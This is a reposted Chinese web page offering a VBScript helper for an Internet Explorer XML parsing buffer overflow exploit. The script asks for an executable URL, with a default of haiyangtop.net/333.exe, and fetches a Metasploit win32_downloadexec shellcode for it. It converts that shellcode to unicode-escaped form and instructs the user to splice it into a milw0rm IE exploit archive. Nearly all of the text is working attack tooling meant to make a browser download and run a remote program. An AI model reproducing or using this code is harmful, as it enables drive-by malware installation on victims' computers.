MS Internet Explorer XML Parsing Buffer Overflow Explo

2019-10-26 18:02:04

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来源：转载

供稿：网友

'code by lcx

On Error Resume Next
Exeurl = InputBox( "请输入exe的地址：", "输入", "http://www.haiyangtop.net/333.exe" )
url="http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL="&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"

Body = getHTTPPage(url)
Set Re = New RegExp
Re.Pattern = "(/$shellcode /=[/s/S]+</div></pre>)"

Set Matches = Re.Execute(Body)
If Matches.Count>0 Then Body = Matches(0).value

code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode =",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))

function replaceregex(str)
set regex=new regExp
regex.pattern="//x(..)//x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function

Function getHTTPPage(Path)
t = GetBody(Path)
getHTTPPage = BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
On Error Resume Next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream = CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write Body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
Set objstream = Nothing
End Function

Function URLEncoding(vstrIn)
strReturn = ""
For aaaa = 1 To Len(vstrIn)
ThisChr = Mid(vStrIn,aaaa,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00)/ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding = strReturn
End Function

set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",2,true)
fileS.writeline replaceregex(code)
'fileS.writeline body
wscript.echo replaceregex(code)
files.close
set fso=Nothing

wscript.echo Chr(13)&"ok，生成a.txt，请用a.txt里的替换http://milw0rm.com/sploits/2008-iesploit.tar.gz里的shellcode1内容即可"

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